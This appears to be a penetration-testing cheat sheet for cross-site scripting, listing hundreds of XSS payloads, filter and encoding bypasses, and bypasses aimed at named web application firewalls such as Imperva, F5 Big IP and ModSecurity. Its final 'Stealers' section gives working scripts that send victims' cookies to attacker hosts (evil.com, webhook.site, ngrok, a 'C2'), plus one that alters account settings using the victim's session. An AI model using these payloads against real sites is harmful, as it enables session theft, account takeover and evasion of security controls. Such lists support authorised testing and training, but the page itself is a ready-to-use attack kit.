@sirpedrotavares seguranca-informatica.pt 0xSI_f33d

XSS

One thing you should understand when exploiting XSS is the behavior of the application towards specific payloads. The followings can be considered a checklist before exploiting XSS vulnerability:

  • Find the blacklisted/filtered characters. You can use XSS locators for this:

'';! - "<XSS>=&{()}

  • Observe what tags are blocked by WAF and which keywords are allowed (iframe, img, body etc.)

  • Try Character Encoding (URL encoding, Double URL encoding, UTF-8 Unicode encoding, Long UTF-8 Unicode encoding, Hex encoding etc.)

  • Try XSS using HTML quote encapsulation

  • Try URL string evasion

  • Create the payload list according to the allowed keywords

  • Brute-force the application with the XSS payload list you just created

Payloads

XSS Locators:
'';!--"<XSS>=&{()}

Classic Payloads:
<svg onload=alert(1)>
"><svg onload=alert(1)>
<iframe src="javascript:alert(1)">
"><script src=data:&comma;alert(1)//

script tag filter bypass:
<svg/onload=alert(1)>
<script>alert(1)</script>
<script     >alert(1)</script>
<ScRipT>alert(1)</sCriPt>
<%00script>alert(1)</script>
<script>al%00ert(1)</script>

HTML tags:
<img/src=x a='' onerror=alert(1)>
<IMG """><SCRIPT>alert(1)</SCRIPT>">
<img src=`x`onerror=alert(1)>
<img src='/' onerror='alert("kalisa")'>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<SCRIPT SRC=http:/evil.com/xss.js?< B >
"><XSS<test accesskey=x onclick=alert(1)//test
<svg><discard onbegin=alert(1)>
<script>image = new Image(); image.src="https://evil.com/?c="+document.cookie;</script>
<script>image = new Image(); image.src="http://"+document.cookie+"evil.com/";</script>

Other tags:
<BASE HREF="javascript:alert('XSS');//">
<DIV STYLE="width: expression(alert('XSS'));">
<TABLE BACKGROUND="javascript:alert('XSS')">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<xss onclick="alert(1)">test</xss>
<xss onmousedown="alert(1)">test</xss>
<body onresize=alert(1)>”onload=this.style.width=‘100px’>
<xss id=x onfocus=alert(document.cookie)tabindex=1>#x’;</script>

CharCode:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

if the input is already in script tag:
@domain.com">user+'-alert`1`-'@domain.com

AngularJS: 
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{{}.")));alert(1)//"}}
{{{}.")));alert(1)//"}}
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)

Scriptless:
<link rel=icon href="//evil?
<iframe src="//evil?
<iframe src="//evil?
<input type=hidden type=image src="//evil?

Unclosed Tags:
<svg onload=alert(1)//

DOM XSS:
“><svg onload=alert(1)>
<img src=1 onerror=alert(1)>
javascript:alert(document.cookie)
\“-alert(1)}//
<><img src=1 onerror=alert(1)>

Another case:
param=abc`;return+false});});alert`xss`;</script>
abc`; Finish the string
return+false}); Finish the jQuery click function
}); Finish the jQuery ready function
alert`xss`; Here we can execute our code
</script> This closes the script tag to prevent JavaScript parsing errors

Restrictions Bypas

No parentheses:
<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>

No parentheses and no semicolons:
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

No parentheses and no spaces:
<script>Function`X${document.location.hash.substr`1`}```</script>

Angle brackets HTML encoded (in an attribute):
“onmouseover=“alert(1)
‘-alert(1)-’

If quote is escaped:
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//

Embedded tab, newline, carriage return to break up XSS:
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

Other:
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)

Encoding

Unicode:
<script>\u0061lert(1)</script>
<script>\u{61}lert(1)</script>
<script>\u{0000000061}lert(1)</script>

Hex:
<script>eval('\x61lert(1)')</script>

HTML:
<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>
\’-alert(1)//

URL:
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>

Double URL Encode:
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E

Unicode + HTML:
<svg><script>&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;(1)</script></svg>

HTML + URL:
<iframe src="javascript:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe>

WAF Bypass

Imperva Incapsula:
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
<img/src="x"/onerror="[JS-F**K Payload]">
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';><img/src=q onerror='new Function`al\ert\`1\``'>

WebKnight:
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

F5 Big IP:
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="[JS-F**k Payload]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">

Barracuda WAF:
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

PHP-IDS:
<svg+onload=+"[DATA]"
<svg+onload=+"aler%25%37%34(1)"

Mod-Security:
<a href="j[785 bytes of (&NewLine;&Tab;)]avascript:alert(1);">XSS</a>
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

Quick Defense:
<input type="search" onsearch="aler\u0074(1)">
<details ontoggle="aler\u0074(1)">

Sucuri WAF:
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4

Stealers

--stored--
<img src=x onerror=this.src='http://yourserver/?c='+document.cookie>

<script>
document.write('<img src="[URL]?c='+document.cookie+'" />');
</script>

--reflected--
http://vulnerable.webapp/index.php?name=<script>document.write('<img src="https://webhook.site/xxx-xxx-xxx/?c='%2bdocument.cookie%2b'" />');</script>

---ninja 1----
<script>
fetch('https://awdawddawawdd.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

----script 1--GET METHOD----
// get some info from a GET request
var a = new XMLHttpRequest();
a.open("GET", "https://lol.php?xxx=1&ajax=full_email_address", false);
a.withCredentials = true;
a.send();
var email=a.response;

// exfiltrate to C2
var b = new XMLHttpRequest();
b.open("GET", "https://xxxxxxxx.ngrok.io/?email="+email);
b.send();


---script 2---POST METHOD---
// set something
var a = new XMLHttpRequest();
a.open("POST", "https://xxxx.php?xxxx=1&screen=settings&role=administrator&action=save", false);
a.withCredentials = true;
a.send("send_email=on&receive_money=on");

Other lists

Tools

See XSS tools here:

References

PreviousSQL InjectionNextXXE

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